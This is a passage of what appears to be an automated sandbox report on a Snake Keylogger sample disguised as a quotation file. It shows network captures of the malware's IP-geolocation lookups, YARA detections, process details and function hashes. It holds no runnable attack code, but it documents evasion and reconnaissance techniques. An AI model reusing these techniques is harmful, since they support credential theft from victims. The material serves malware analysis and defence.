2024-11-20 07:19:07 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49780	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:09 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 07:19:09 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:09 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51058 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rAithFowAVojQ%2FXfFY4SeNqKXYkZE9yismJlhhstcDZXwrXQ9cr5%2FLm%2Fy1AjNhOxbIgKhBObD7AP2lroSBzEqs9ti7kYIBJm%2FyREFPYFoU50fgCFNBtNOXDPTV4dmetG0OrXjzLi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab89aa91728a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1452013&cwnd=221&unsent_bytes=0&cid=bc85a5c206559d20&ts=261&x=0"
2024-11-20 07:19:09 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49787	188.114.97.3	443	7792	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:19:10 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 07:19:10 UTC	858	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:19:10 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51059 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JnOyYbo%2FnNNEbriDvWNrMj7WzMB0QT9C958TIdjJ5eZBPMcqSMD2%2BRye%2BUMWAp8XfmOhLXQb%2B%2BVP5LcZACck8XTZ9%2FzPmL0vN1MK8RuJkAEy5RKuyILlRNIQy8qcaWon7WF%2FUCg2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56ab921c446a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1803582&cwnd=198&unsent_bytes=0&cid=9f22c970522515ed&ts=154&x=0"
2024-11-20 07:19:10 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Target ID:	0
Start time:	02:18:08
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe"
Imagebase:	0x228e4e30000
File size:	339'456 bytes
MD5 hash:	5287698C5838C217C8330670920D1F22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2214752450.0000022880090000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2215561209.00000228E70FA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:18:57
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x1904ee40000
File size:	55'824 bytes
MD5 hash:	DF5419B32657D2896514B6A1D041FE08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2961287104.0000019050ECE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000004.00000002.2959415202.000001904EEC0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:18:57
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BA90060 Relevance: 1.9, Instructions: 1923COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d045936d39f8edcae86dd0580f3858faa69dc3afabd965f13d1f83f6f7516908
Instruction ID: d45fd80355ffa5fc34bba7a88eeff750e5d14ac4594b3fc041ca2f00a786072f
Opcode Fuzzy Hash: d045936d39f8edcae86dd0580f3858faa69dc3afabd965f13d1f83f6f7516908
Instruction Fuzzy Hash: 8DE2B230A09A4D8FDBA9DF68C490BA97BF1FF59740F1541AAD44DC72A6CA34ED81CB40

Function 00007FFD9BAB1535 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFD9BAB15E3

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 3adcd4792af3f1b6991096aab95db102bad4a30b250b50c4db58aed7d00b5e41
Instruction ID: f8ed22a18b93e87700de07a9c437509e47b144ce644c6cf3cb626a13e0561590
Opcode Fuzzy Hash: 3adcd4792af3f1b6991096aab95db102bad4a30b250b50c4db58aed7d00b5e41
Instruction Fuzzy Hash: 2231F43190CB588FDB289F9898596FD7BE1EF95311F04426FE09AD3292DB34A4468781

Function 00007FFD9BAA4F9D Relevance: 1.2, Instructions: 1238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 715293b6b2cc462302958193ad8708d47c7c073def624cd21f695bbb9adf3496
Instruction ID: fc359762ff9380d215bed0e23746bc48a8bc798cdd850da378338630995b1dfa
Opcode Fuzzy Hash: 715293b6b2cc462302958193ad8708d47c7c073def624cd21f695bbb9adf3496
Instruction Fuzzy Hash: 61822630B09A4E4FE7799BA888742B977D2FF94310F15067ED04EC72E2DE68E9428754

Function 00007FFD9BA97C29 Relevance: .9, Instructions: 914
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a22f6fb70d7797e20898338c0b5390702f6acffb79527020a532bc075e9d769
Instruction ID: 8b1f50183b400b728b8f71ce274d10ca129d2c0f5af787aab620864d55379dfd
Opcode Fuzzy Hash: 3a22f6fb70d7797e20898338c0b5390702f6acffb79527020a532bc075e9d769
Instruction Fuzzy Hash: 38520F30B19A4E4FEBA8DB688465A75B3E1FF98350F40017ED44EC32A6DF64BC428781

Function 00007FFD9BA94C41 Relevance: .9, Instructions: 888
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1cb38d0441553868af68c3de3de84a9d8776dfb4891623c9ef31828e7ef992
Instruction ID: 29fb1d8ec5db5367c0bd3690ae912b0bff172fe71fae6063a866de75c1d656d8
Opcode Fuzzy Hash: ab1cb38d0441553868af68c3de3de84a9d8776dfb4891623c9ef31828e7ef992
Instruction Fuzzy Hash: DC429F30719A0D4FEBA8EB2CC869A7977D1FF59300F1640BAE44EC72A6DE64EC418741

Function 00007FFD9BA919E1 Relevance: .8, Instructions: 839
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acab0b174db937bf27127580caa3ef812889cc1a7b58f8e25705ccf8c4eb4ce0
Instruction ID: cc81f7fc0942f357064652caa563b50ab853bf0e462832d1c8a3b28e9c344581
Opcode Fuzzy Hash: acab0b174db937bf27127580caa3ef812889cc1a7b58f8e25705ccf8c4eb4ce0
Instruction Fuzzy Hash: 5E42FE30B1DB498FE768EB68C45597577E1FFA5300F1105BEE48AC32A6DA74E842C781

Function 00007FFD9BAB56A6 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8961931dc38794b1e075561581512427874d33d038dc1b4c046425fc6c0a9172
Instruction ID: 73a00bddffda60db81877f9d3ab31b06a60fa3cda44b9a4e8f8dd315ec7244bb
Opcode Fuzzy Hash: 8961931dc38794b1e075561581512427874d33d038dc1b4c046425fc6c0a9172
Instruction Fuzzy Hash: 29F1D530A09A8D8FEBA8DF68CC657E937D1FF58310F04426EE85DC7295DB74A9418B81

Function 00007FFD9BAB6452 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2228773050.00007FFD9BA90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba90000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723cdee5d2db78d92181b563ef5de21a1063b78364e082a7d1ca57e7bb9be636
Instruction ID: 1cf6d44479ad8ad365c60c6310808a82ad2d6283bd651b7739d663a408766a5a
Opcode Fuzzy Hash: 723cdee5d2db78d92181b563ef5de21a1063b78364e082a7d1ca57e7bb9be636
Instruction Fuzzy Hash: 24E1D430A09A4D8FEBA8DF28C8657E977D1FF54310F04426ED85DC72A5DE74E9818B81

Function 00007FFD9B9D3B05 Relevance: 1.7, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9_H, xrefs: 00007FFD9B9D3FEF

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID: 9_H
API String ID: 0-1170298704
Opcode ID: 1d84de51f808d9a867e199cb7bf67df7f1c93e208a96c3a7d4bec5a5d8b5759d
Instruction ID: e821549b92766e662411a1196cda3cb85c9ae703dfe31087031317780253af30
Opcode Fuzzy Hash: 1d84de51f808d9a867e199cb7bf67df7f1c93e208a96c3a7d4bec5a5d8b5759d
Instruction Fuzzy Hash: 5E02FC30E1A61D9FEBA4DFA9C4A57BC77B2FF59301F510179E40D922A1CB396981CB40

Function 00007FFD9B89C037 Relevance: 1.6, Strings: 1, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 00007FFD9B89C16B

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: f45f289979de127f2f4e3ec0a69f1fd002f34412f70678acb99ee7127950929c
Instruction ID: cdb555fd875763e907d220ad5e96e6ad98072a425dfe601cfa27f4f17a2928eb
Opcode Fuzzy Hash: f45f289979de127f2f4e3ec0a69f1fd002f34412f70678acb99ee7127950929c
Instruction Fuzzy Hash: FEC1A16190ABC94FE756DBB898287A87FF1EF5A340F0400EBD488CB2E7DA381945C751

Function 00007FFD9B9D307C Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2227770196.00007FFD9B9D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9d0000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db68c251759d9c00495360e2225bfb7409cdaab01a644107cd64b87924a08c6
Instruction ID: 046afc0d1ab42ee7302d2661ad0aa00c1b62a3cc855370c04c32de1bba395f74
Opcode Fuzzy Hash: 6db68c251759d9c00495360e2225bfb7409cdaab01a644107cd64b87924a08c6
Instruction Fuzzy Hash: 3C128171F2991E9FEFA0DF9988957E877A2FFA8301F554275D00CD32A1DA386981CB40

Function 00007FFD9B8DE0C0 Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93e56d13b69c187a8a866dc974187a5da2e2c53e056705eb7b29fa99e6bb7ea
Instruction ID: edf314e17749e81c285816db2b1a94233fe8ca870b506f7b4ff96659023a2668
Opcode Fuzzy Hash: c93e56d13b69c187a8a866dc974187a5da2e2c53e056705eb7b29fa99e6bb7ea
Instruction Fuzzy Hash: B5120B70A09A5D8FDB99DF68C854BA9BBF1FF59305F1101EAD04DD72A6CB34A981CB00

Function 00007FFD9B89BCFA Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e37a2fb4eb2c0546e02757d70660ab272bffd8cce68ffdfd7e599925c3bcc44
Instruction ID: e043ccca748e1d625767110d2a559684b3e79c7c03ed2185ce585bcd9de95ef4
Opcode Fuzzy Hash: 3e37a2fb4eb2c0546e02757d70660ab272bffd8cce68ffdfd7e599925c3bcc44
Instruction Fuzzy Hash: 60C14932A0F6D99FEB16DBA898754E97FA0FF45314B0902FBD0988B1E3DE246505C781

Function 00007FFD9B8909D5 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 388af2475f0f7fa53ecd65d3623672cca2b55d04a8b2d022cd1f3e96dbd59397
Instruction ID: f9e98a4d8018c482dc6029ac0f904ba1d916bd72e454c82d2fbc2ec970eb26dc
Opcode Fuzzy Hash: 388af2475f0f7fa53ecd65d3623672cca2b55d04a8b2d022cd1f3e96dbd59397
Instruction Fuzzy Hash: 52A17B31B1D68E8FDBA5DF6488256F97FE1FF89314F0501BAD45CC71E2DA285A028781

Function 00007FFD9B893DB5 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76abd2012bb7fca231a25520b67cbbaca91373a2e9667ace5c7dfa9f63253dd8
Instruction ID: 9c24761bc3c3db7d9815601e2b5b5880c6571eaa4927f9ee3089666144bdfaac
Opcode Fuzzy Hash: 76abd2012bb7fca231a25520b67cbbaca91373a2e9667ace5c7dfa9f63253dd8
Instruction Fuzzy Hash: 6181C830A1995D8FDBA4EF68C869BADB7B1FF59305F5101BAD00DE32A5CB346980CB41

Function 00007FFD9B891CDD Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18097b2d746dccd47bd38f3ccc75c43029743299a88981ed59c1fd053ad3334f
Instruction ID: 62e2822aacecdcf58b390d163964e6f6423da06160bba9bc037b9fc1d1eb7f4d
Opcode Fuzzy Hash: 18097b2d746dccd47bd38f3ccc75c43029743299a88981ed59c1fd053ad3334f
Instruction Fuzzy Hash: E861F231A0DB5D4FDB59EF98C8566ED7BF0FF59310F0481BAD04987192CA34A9458B81

Function 00007FFD9B890810 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93a556f1d5cb698a9dc755de64bc2cd49fb4f4115d64eb995f7bfefb00ebbb2
Instruction ID: c964fce6e8e3ba6b7486a9d5bb97a2958d3b89529c0bbee11cebc09767fc1877
Opcode Fuzzy Hash: c93a556f1d5cb698a9dc755de64bc2cd49fb4f4115d64eb995f7bfefb00ebbb2
Instruction Fuzzy Hash: BB51E862B1EA8D4FEF65D7B898652687FE0EF59700B0500FFD088D71E3DA28A945C741

Function 00007FFD9B890CF1 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8220d6e212613f29b0d6ce862eaaba3295a35eb40c254c55c7f49cf8260b7f
Instruction ID: d54bbb2c9dd01548eaf990468e7ad2b0959c84a42441d94bb6be88ab9a539310
Opcode Fuzzy Hash: 2a8220d6e212613f29b0d6ce862eaaba3295a35eb40c254c55c7f49cf8260b7f
Instruction Fuzzy Hash: 11414831F0DA0D4FEBA8EB58A816AF977E1EF99710F10427AD44DD3196DD2879438381

Function 00007FFD9B894320 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8853329930f16aae0314c8599e18367ccbaeb9ce3790c0062998dcbbb0f88786
Instruction ID: 2a1ab69b9085137b6035db23a696b808083057c558dfad1dd04df03bcc293d0e
Opcode Fuzzy Hash: 8853329930f16aae0314c8599e18367ccbaeb9ce3790c0062998dcbbb0f88786
Instruction Fuzzy Hash: C551A131A08A5D8FDB49EFA8D854AEDBBB1EF59304F0401BBE44DD7296DA346841C790

Function 00007FFD9B89BDFA Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226753444.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_QUOTATION_NOVQTRA071244PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09fdaf78a95e1a8765f6b7d12239105b42f62609068ca414b6e2fc8e23fa17ac
